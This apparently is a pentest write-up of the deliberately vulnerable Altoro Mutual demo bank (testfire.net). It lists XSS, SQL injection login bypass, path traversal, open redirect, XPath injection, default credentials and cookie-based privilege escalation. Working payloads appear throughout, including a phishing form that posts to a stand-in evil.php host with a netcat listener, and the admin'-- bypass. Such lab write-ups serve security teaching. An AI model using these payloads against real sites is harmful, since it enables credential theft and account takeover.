* Server headers provide quite a lot of information: underlying technologies, versions, and a suspicious second cookie named “amSessionId”.
* While performing the test I just gapped by chance in this Google reply that includes the X-XSS-Protection with a 0 value, this causes IE 8 to allow displaying XSS suspicious content. There is a bit of discussion regarding this protection mechanism as it is said to block some benign contents so this is why Google may include this header. The X-Content-Type-Options set to nosniff is another header related to IE8 that helps mitigating certain attacks related to MIME type abuses.
* Sometimes you can get interesting information from contents metadata; in this case for example we see that the images have been edited with Photoshop 3.0. In other occasions one can get usernames and similar stuff to be used in the engagement.
* The main search function is vulnerable to XSS
Here is the cookie, the ASP.NET cookie has not been revealed because of the httponly flag that was set that avoids JavaScript usage of the cookie.
A more elaborated attack can be performed as follows. First inject the following string that will display a fake login page to trick the user (victim).
http://testfire.net/search.aspx?txtSearch=%3Ch1%3EDearest%20user%20please%20provide%20password%20;)%3Ch1%3E%3Cdiv%20background-color%3A%23FF3300%3E%3Cform+action%3D%E2%80%9Dhttp%3A%2F%2F127.0.0.1%2Fevil.php%E2%80%9D%3EUsername%3A%3Cbr%3E%3Cinput+type%3D%E2%80%9Dtext%E2%80%9D+name%3D%E2%80%9Duser%E2%80%9D%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput+type%3D%E2%80%9Dtext%E2%80%9D+name%3D%E2%80%9Dpass%E2%80%9D%3E%3Cbr%3E%3Cinput+type=SUBMIT%20value=%22login%22%20/%3E%3C/form%3E%3C/div%3E
We set up a listening socket, with netcat in this example.
The user will then input his user and password.
And the attacker therefore captures them.
If we wanted to provide more impressive results we can start Beef exploitation framework in order to control a victim’s browser.
* The way of the application to locate contents seems vulnerable to path traversal. The application seems to like to server html files but when manipulating the parameter an unfiltered error is displayed with interesting information.
http://demo.testfire.net/default.aspx?content=../../../../../boot.ini.txt
Insecure redirection or remote file inclusion was also tested with no luck
http://demo.testfire.net/default.aspx?content=http://www.deloite.com/index.htm
Here the attack (insecure redirection) seems possible here:
http://demo.testfire.net/disclaimer.htm?url=http://www.netscape.com
Abusing the URL like this
http://demo.testfire.net/disclaimer.htm?url=http://en.wikipedia.org/wiki/Kiwi
* But a warning message appears, which is vulnerable to injection, and we can perform the redirection.
http://demo.testfire.net/disclaimer.htm?url=www.as.com;testfire.net<script>document.location="http://en.wikipedia.org/wiki/Kiwi";</script>
* In the subscription feature they check client side what characters the user is introducing, but no server side leading to an error.
* Therefore by introducing a “’” we have a nice Database error that could derive into a SQL Injection attack.
It seems to be an underlying insert clause but does not respond as expected to Boolean clauses
We could try to perform additional SQL commands by appending a “;drop database” but It wouldn’t be fair for Altoro. Again there is a XSS here.
* Again we have another Cross Site Scripting in a message:
POST http://demo.testfire.net:80/subscribe.aspx
txtEmail=aaa%40mailinator.com<script>alert(document.cookie);</script>&btnSubmit=Subscribe
* They do not mark the field with the autocomplete=off tag, here is not so dangerous but it is in login forms.
* Directory indexing misconfiguration has been located with sensitive information:
* There is a local reference to a file that also reveals a user name:
* In the feedback form there is also another XSS.
* Incomplete web page coding so that the page lacks of functionality, can impact the public image of the Bank. The button does not work as the html form does not have even an action tag definition.
* Login information is transmitted in clear text:
* It reveals when a username is not in the system, it can lead to ease brute forcing attacks on username field.
We see admin works so we just have to concentrate on password
* It seems vulnerable to SQL Injection attack
It is very easy to circumvent login page according to the previous behavior exposed by the web page, we just have to use the following:
· User: “admin’--“ (exclude the double quotes).
· Password: whatever as its going to be ignored because of the “—“ symbols that are meant to comment lines in SQL.
We see we have logged in with admin account:
* By the way an easy password guessing shows us that we can log in with admin/admin credentials.
We see that admin login is in fact an administration menu of the application in which we could change other user’s password and thus log in as them as well.
Changing user password does not seem to work (to avoid abuses from pentesters I guess) but usernames are valuables to access by the “—“ technique.
* There is another directory indexing vulnerability
* There is a web service (not authenticated).
http://demo.testfire.net/bank/ws.asmx
It contains the web service methods definition and the soap messages needed:
This can be attacked to obtain usernames by means of soap messages and possibly performing XML injection attacks
A captcha exists as well to avoid malicious users do brute forcing on the password field with automated tools:
* In the capcha window source code we see a password in an html comment:
Altoro1234
With this info and the capcha number we can successfully login
* A possible XML/XPATH injection exists:
With this we would obtain the first item
By crafting a more complex syntax we would for example find recursively the rest items. The contents are anyway indexed and available:
* Header injection vulnerability exists that allows modifying the page returned by the server.
* Regarding to session management we show below admin and sjoe cookies to detect possible vulnerabilities:
- admin cookie
Cookie: ASP.NET_SessionId=35f2wi55vpoyoyrg0ve54szg; amSessionId=446643804; amUserInfo=UserName=YWRtaW4=&Password=YWRtaW4=; amUserId=1
- sjoe cookie
Cookie: ASP.NET_SessionId=hvejm345qencll55npbtsqe0; amSessionId=582146246; amUserInfo=UserName=c2pvZSctLQ==&Password=bmFkYQ==; amUserId=100116013; amCreditOffer=CardType=Platinum&Limit=12000&Interest=5.4
We can highlight the following weaknesses:
· Username and password information is resent on every query, this only should happen when login in and the server session context must maintain this information.
· A suspicious amUserId is just used to difference one user from another, see image below.
· Special offers are set on client side by mans of amCreditOffer,CardType and Limit.
· The seemingly hashed information contained in username or password is just a base64 encoding so it is easy to intercept and reverse. (c2pvZSctLQ== is translated to sjoe'--)
* Having logged in as sjoe user we just have to ask for a privileged page like http://demo.testfire.net:80/admin/admin.aspx and modify sjoe amUserId field to set it to admin’s one (1) and we can access that critical page impersonating admin user.
